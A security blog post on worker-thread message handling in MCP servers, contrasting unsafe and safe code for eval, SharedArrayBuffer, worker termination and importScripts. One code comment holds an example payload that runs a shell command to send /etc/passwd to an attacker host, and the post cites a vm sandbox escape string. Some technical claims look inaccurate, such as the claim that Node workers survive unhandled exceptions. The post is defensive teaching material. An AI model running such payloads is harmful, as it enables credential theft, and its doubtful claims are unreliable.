Blog · 2026-06-20 · Workers · postMessage · MCP Servers

MCP Server Worker Thread Message Security: postMessage Structured Clone vs Eval Deserialization, SharedArrayBuffer Race Conditions, and Worker Termination on Auth Failure

Workers are used in MCP servers to offload CPU-bound tool execution — AST parsing, cryptographic operations, ML inference, sandboxed code evaluation — away from the main event loop. The message-passing interface between the main thread and worker threads has a distinct threat model from HTTP: there is no network boundary, no TLS, and no request/response context. Security depends on whether message handlers validate before they execute, whether shared memory is accessed correctly, and whether the worker lifecycle is managed as a security primitive rather than just a resource.

Why Workers in MCP server architectures

An MCP tool that runs arbitrary code, parses large documents, or performs compute-intensive analysis blocks the main Node.js event loop if run synchronously. For a multi-tenant MCP server handling dozens of concurrent tool calls, a single blocking tool invocation stalls all other in-flight requests. Workers solve this by moving the execution to a separate thread (Node.js worker_threads) or a separate process context (Web Workers in browser-hosted MCP UIs).

The common patterns in MCP deployments are:

Each pattern has a different security profile. Worker-per-invocation trades spawn overhead for isolation. Worker pool trades spawn overhead for the complexity of resetting state between invocations. Sandbox workers introduce the most risk: the code running in the worker is untrusted.

postMessage and the structured clone algorithm: safe by design

The postMessage API serializes data using the structured clone algorithm. This algorithm deep-copies supported types (primitives, arrays, plain objects, ArrayBuffers, TypedArrays, Map, Set, Date, RegExp, Error) and rejects unsupported types (functions, DOM nodes, class instances with prototype methods) with a DataCloneError.

The security property of structured clone is that it cannot transport executable code. A function definition cannot be cloned. A class instance loses all of its methods on the receiving side — the clone only carries the own enumerable properties. This means an attacker who can influence the data sent via postMessage (e.g., by controlling tool arguments that are forwarded to the worker) cannot inject executable code through the message channel.

Key invariant: The structured clone algorithm serializes data, not behavior. You can send { fn: "() => process.exit()" } and it will arrive as the string "() => process.exit()" — not an executable function. The security boundary holds as long as the receiving side does not call eval(), new Function(), or vm.runInThisContext() on the received data.

// Main thread — sends tool arguments to worker
worker.postMessage({
    toolName: 'analyze-code',
    args: { source: userProvidedCode, language: 'python' },
    sessionId: session.id
});

// Worker — receives and validates, does NOT eval
self.onmessage = ({ data }) => {
    const { toolName, args, sessionId } = data;
    // args.source is a string — it cannot contain executable code
    // that would run in the worker's JavaScript context
    const result = runStaticAnalysis(args.source); // processes the string, does not eval it
    self.postMessage({ sessionId, result });
};

The pattern above is safe. The worker receives the user-provided source code as a string and passes it to a static analysis function that reads it — it does not evaluate it as JavaScript. The structured clone boundary prevents the string from arriving as anything other than a string.

Eval-based deserialization: breaking the structural clone boundary

The structured clone invariant breaks the moment the worker evaluates received data as code. This happens more often than it should, in three common patterns:

Pattern 1: eval() on received data

Worker message handler calls eval(data.expression) or new Function(data.code)() to implement a "compute" tool that evaluates mathematical expressions or runs user-supplied callbacks. Any tool argument that reaches this path gives the caller arbitrary code execution in the worker context.

Pattern 2: require() / import() from message data

Worker loads a module path received in the message: require(data.pluginPath). If pluginPath is user-controlled, the attacker loads any module reachable from the worker's file system. Combined with path traversal (../../etc/passwd), this becomes arbitrary file read; with /proc/self/mem on Linux, arbitrary memory access.

Pattern 3: vm.runInThisContext() or vm.Script

Node.js vm module used to run user-supplied snippets in the worker. vm.runInThisContext() runs code in the current V8 context — it is not a sandbox. The executed code has access to the same globals as the worker, including process, require, and the full Node.js API surface.

Pattern 4: JSON.parse() with reviver that instantiates classes

A reviver function in JSON.parse(data, reviver) that calls new SomeClass(value) based on a __type field in the JSON. The data arrives as a string (safe), but the reviver effectively deserializes arbitrary class instances. If any class's constructor has side effects (file access, network calls), the attacker triggers them by crafting the __type field.

The canonical example of pattern 1 — which appears in "sandboxed math evaluator" and "formula engine" MCP tools:

// Dangerous worker — eval on received expression
self.onmessage = ({ data }) => {
    // UNSAFE: attacker sends { expression: "process.mainModule.require('child_process').execSync('curl attacker.com/$(cat /etc/passwd)')" }
    const result = eval(data.expression);
    self.postMessage({ result });
};

// Safe alternative: use a proper expression parser
import { Parser } from 'expr-eval'; // or math.js evaluate()
self.onmessage = ({ data }) => {
    try {
        const parser = new Parser();
        const result = parser.evaluate(data.expression); // only evaluates math expressions
        self.postMessage({ result });
    } catch (e) {
        self.postMessage({ error: 'Invalid expression' });
    }
};

vm.runInThisContext() is not a sandbox: A common misconception is that Node.js vm provides security isolation. It provides context isolation (separate global), not security isolation. Code running in a vm.Script can escape the context with this.constructor.constructor('return process')() — a well-known breakout that has been documented since Node.js v0.x. Do not use vm to sandbox untrusted code. Use a subprocess or a WASM sandbox instead.

SharedArrayBuffer race conditions in worker pools

SharedArrayBuffer allows main thread and worker threads to share a region of memory directly, with both sides reading and writing without copying. This is used in MCP worker pools for high-frequency coordination: a shared job queue, a session state cache, or a counter of in-flight requests. The performance benefit is real — zero-copy message passing — but shared mutable memory introduces race conditions that the structured clone message channel does not have.

The fundamental problem is TOCTOU (Time Of Check / Time Of Use). Between the moment you read a value from shared memory and the moment you act on it, another thread can have written a different value. In a worker pool handling concurrent MCP tool calls:

// Dangerous: TOCTOU in shared rate-limit counter
// Main thread
const sharedBuffer = new SharedArrayBuffer(4);
const counter = new Int32Array(sharedBuffer);
// ... sent to workers via postMessage({ sharedBuffer })

// Worker A — processes request from user Alice (rate limit: 100 req/min)
const current = Atomics.load(counter, 0);   // reads 99
// ← at this exact moment, Worker B also reads 99 and is about to write 100
if (current < 100) {
    counter[0] = current + 1;               // TOCTOU: writes 100, but Worker B writes 100 too
    handleRequest(aliceRequest);            // both workers proceed — rate limit bypassed
}

// Safe: use Atomics.add() — atomic read-modify-write
const prev = Atomics.add(counter, 0, 1);   // atomically increments, returns old value
if (prev >= 100) {
    Atomics.sub(counter, 0, 1);            // roll back the increment
    rejectRequest('rate limit exceeded');
    return;
}
handleRequest(request);

The race condition in the unsafe version is not theoretical: at 100+ requests/second across a worker pool, the probability of two workers reading the same counter value and both proceeding is significant. The fix requires atomic operations from the Atomics API, which guarantees that the read-modify-write is indivisible.

SharedArrayBuffer as a timing oracle

Independent of race conditions, SharedArrayBuffer can be used as a high-resolution timing oracle. Because Atomics.wait() blocks the calling thread until a condition is met, a worker can measure elapsed time by spinning on a shared counter that another thread increments at a known rate. This was the mechanism behind the original Spectre timing side-channel exploits, which led browsers to disable SharedArrayBuffer for several years (it requires Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp headers to be re-enabled).

In a Node.js MCP server with a worker pool, SharedArrayBuffer is not subject to the browser's COOP/COEP requirements — it is always available. But if a worker executes user-supplied code (any form of "eval tool"), the user-supplied code running in the worker can use SharedArrayBuffer + Atomics.wait() to measure cache timing differences on the shared CPU and infer data from other workers processing other tenants' requests.

Multi-tenant risk: A worker pool where different tenants' tool calls run on the same pool of workers, combined with any form of user-controlled code execution, creates the conditions for cross-tenant timing side channels via SharedArrayBuffer. Mitigation: per-tenant worker pools (expensive but complete isolation), or WASM-only sandboxing that excludes SharedArrayBuffer from the guest API surface.

Worker termination as a security primitive

When a tool invocation inside a worker encounters an authentication failure, an authorization rejection, or evidence of malicious input, the correct response is often to terminate the worker entirely — not just return an error. This is because a worker that has encountered a security event may be in a compromised state: it may have partially executed a payload, modified shared state, or held a lock. Returning an error from the worker and reusing it for the next request risks contaminating subsequent work with the compromised state.

// Main thread — worker pool manager
class WorkerPool {
    constructor(size, workerScript) {
        this.workers = Array.from({ length: size }, () => this.createWorker(workerScript));
        this.queue = [];
    }

    createWorker(script) {
        const w = new Worker(script);
        w.on('message', this.handleMessage.bind(this, w));
        w.on('error', (err) => this.handleWorkerError(w, err));
        return w;
    }

    handleMessage(worker, { type, requestId, result, securityEvent }) {
        if (type === 'security_event') {
            // Worker detected auth failure, injection attempt, or policy violation
            console.error(`Security event in worker ${worker.threadId}:`, securityEvent);
            worker.terminate(); // terminate — do not reuse
            // Replace the worker immediately so the pool size is maintained
            this.workers = this.workers.filter(w => w !== worker);
            this.workers.push(this.createWorker(this.workerScript));
            // Return error to the originating request
            this.resolveRequest(requestId, null, new Error('Security policy violation'));
            return;
        }
        this.resolveRequest(requestId, result, null);
    }
}

// Worker — reports security events instead of just throwing
self.onmessage = async ({ data }) => {
    const { requestId, toolArgs, sessionToken } = data;
    const session = await verifySessionToken(sessionToken);
    if (!session) {
        // Auth failure: report as security event, not as a normal error
        self.postMessage({ type: 'security_event', requestId, securityEvent: { reason: 'invalid_session_token' } });
        return; // main thread will terminate this worker
    }
    // ... proceed with tool execution
};

The critical distinction: a normal error (invalid input, tool execution failure) is recoverable — return an error to the caller and reuse the worker. A security event (auth failure, injection attempt detected, policy violation) is not recoverable — terminate the worker and replace it. The main thread is the decision point for which events warrant termination; the worker reports via a dedicated message type and does not attempt to self-terminate (which would leave the main thread unaware of the event).

Worker termination on unhandled rejection or synchronous exception

A worker that throws an unhandled exception or has an unhandled Promise rejection continues running in Node.js worker_threads — the exception does not automatically terminate it. This means a worker that was mid-execution when it threw (perhaps after partially modifying shared state) continues to accept new messages in whatever state it was left in.

// Listen for unhandled exceptions in each worker and terminate on occurrence
function createWorker(script) {
    const worker = new Worker(script);
    worker.on('error', (err) => {
        console.error('Unhandled worker error:', err.message);
        worker.terminate(); // always terminate on unhandled error
        // ... replace in pool
    });
    // For unhandled rejections: Node.js 14.17+ emits 'messageerror' for cloning failures
    // For worker-side unhandledRejection: handle in the worker script
    return worker;
}

// Inside the worker script — catch all unhandled rejections
process.on('unhandledRejection', (reason) => {
    console.error('Worker unhandled rejection:', reason);
    self.postMessage({ type: 'security_event', securityEvent: { reason: 'unhandled_rejection', detail: String(reason) } });
    // Don't self-terminate here — main thread terminates after receiving the event
});

importScripts() and module worker CSP bypass

Classic Web Workers (constructed with new Worker('worker.js') without { type: 'module' }) support importScripts(url), which loads and executes a script from any URL without regard to the page's Content Security Policy. The worker runs in a separate global scope from the page, and the browser's CSP enforcement model applies the worker's own response headers — not the page's Content-Security-Policy header — to scripts loaded via importScripts().

CSP bypass: If an attacker can inject a URL into a importScripts() call — via a message from the main thread, a stored XSS payload, or a malicious tool result that reaches the worker — they can load arbitrary JavaScript from an external URL even if the page's CSP has a strict script-src. The worker's response headers typically don't include a Content-Security-Policy because the worker script is served by your own origin and the headers are inherited from the page's CSP only for module workers.

// Dangerous: importScripts() with user-controlled URL
self.onmessage = ({ data }) => {
    // NEVER do this — any user-controlled string reaches importScripts()
    if (data.type === 'load-plugin') {
        importScripts(data.pluginUrl); // CSP bypass — loads and executes the URL
    }
};

// Safe alternative: use module workers and static imports
// worker.js (must be served with correct MIME type)
// In the main thread: new Worker('/workers/tool-worker.js', { type: 'module' })
// Module workers apply page CSP to all imports — importScripts() is not available in module workers

// For dynamic loading in module workers: use static import() with a strict allowlist
const ALLOWED_PLUGINS = new Set(['/plugins/math.js', '/plugins/format.js']);
self.onmessage = async ({ data }) => {
    if (data.type === 'load-plugin') {
        if (!ALLOWED_PLUGINS.has(data.pluginPath)) {
            self.postMessage({ error: 'Plugin not allowed' });
            return;
        }
        const plugin = await import(data.pluginPath); // module workers apply CSP here
        plugin.initialize();
    }
};

The fix is to use module workers ({ type: 'module' }), which apply the page's CSP to all import() calls, and to maintain an allowlist of loadable module paths even within module workers.

Worker pool session isolation: shared state between invocations

Worker pools reuse workers across multiple tool invocations to amortize the startup cost. This creates a risk: state accumulated during one invocation persists into the next. This includes module-level variables, cached authentication state, partially-initialized data structures, and side effects of the previous invocation's execution.

// Dangerous: module-level session state in a worker that's reused
let currentSession = null; // module-level — persists across invocations

self.onmessage = async ({ data }) => {
    currentSession = data.session; // set at start of each invocation
    const result = await runTool(data.toolArgs);
    // If runTool() throws, currentSession is still set to THIS invocation's session
    // Next invocation sees stale currentSession — session A's data leaks to session B
    self.postMessage({ result });
};

// Safe: no module-level state; everything scoped to the invocation
self.onmessage = async ({ data }) => {
    const { session, toolArgs, requestId } = data;
    // All state is local to this handler invocation
    try {
        const result = await runTool(toolArgs, session); // session passed as argument
        self.postMessage({ requestId, result });
    } finally {
        // Explicitly clear any caches or resources this invocation opened
        clearInvocationResources();
    }
};

The rule for worker pools: treat each invocation as if the worker may have been contaminated by the previous one. Pass all session state in the message rather than storing it at module level. Clear all invocation-local resources in a finally block so they don't persist to the next message.

Security comparison: worker thread patterns for MCP

PatternSecurity riskMitigation
eval() or new Function() in message handler Arbitrary code execution — structured clone boundary bypassed Never eval received data; use expression parsers (math.js, expr-eval) or WASM sandboxes
require(data.path) in worker Arbitrary module load — path traversal to any file system path Allowlist of permitted module paths; validate before loading
vm.runInThisContext(data.code) Arbitrary code execution — vm.Script is NOT a security sandbox Use worker subprocess with no Node.js API access or WASM for untrusted code
SharedArrayBuffer without Atomics TOCTOU race conditions — rate limits, counters, session state bypassed under load Use Atomics.compareExchange() / Atomics.add() for all shared counter modifications
Worker pool reuse without state reset Session state leak across tenants — module-level variables carry over between invocations No module-level mutable state; pass all state in message; clear resources in finally
Auth failure returns error, worker continues Compromised worker accepts next request in unknown state Terminate worker on security events; replace with fresh instance
importScripts(userURL) in classic worker CSP bypass — page's script-src does not apply to classic worker importScripts Module workers only; URL allowlist before any import()
Unhandled exception in worker, no termination Worker continues in inconsistent state after exception mid-execution Terminate worker on any unhandled error or rejection; replace in pool

SkillAudit findings

Critical Worker message handler calls eval(data.expression), new Function(data.code)(), or vm.runInThisContext(data.snippet) on data received from the main thread. User-controlled tool arguments reach the eval call, giving any API caller arbitrary code execution in the worker context. −24 pts
Critical Worker loads a module via require(data.pluginPath) or import(data.path) where the path is received from the main thread without allowlist validation. Path traversal allows loading arbitrary files from the worker's file system. −22 pts
High SharedArrayBuffer-backed rate limit counter or session state modified with plain array assignment (counter[0] = value) instead of Atomics.add() / Atomics.compareExchange(). TOCTOU race allows concurrent workers to bypass the limit under load. −20 pts
High Worker pool stores session identity in module-level variable that persists between invocations. On exception mid-execution the variable retains the previous invocation's session value, causing the next invocation to inherit a different tenant's session context. −18 pts
High Classic Web Worker calls importScripts(data.url) where URL is received in a message. Attacker sends a URL pointing to external JavaScript, bypassing the page's Content-Security-Policy script-src directive. −16 pts
Medium Worker pool does not terminate workers that report authentication failures or inject security events — they continue in the pool and are reused for subsequent requests. −12 pts
Medium Worker script does not handle unhandledRejection; workers that throw asynchronously during tool execution are left running in an unknown state rather than terminated and replaced. −10 pts

Deployment checklist

SkillAudit check: SkillAudit's static analysis scans for eval() and new Function() calls in worker scripts, detects SharedArrayBuffer modifications outside of Atomics calls, and flags module-level mutable state in files that are loaded as worker scripts. Audit your MCP server →

See also: MCP server AbortController security (cancellation oracle, resource cleanup) · MCP server WebRTC data channel security (peer-to-peer isolation model) · MCP server Streams API security (backpressure, resource leaks)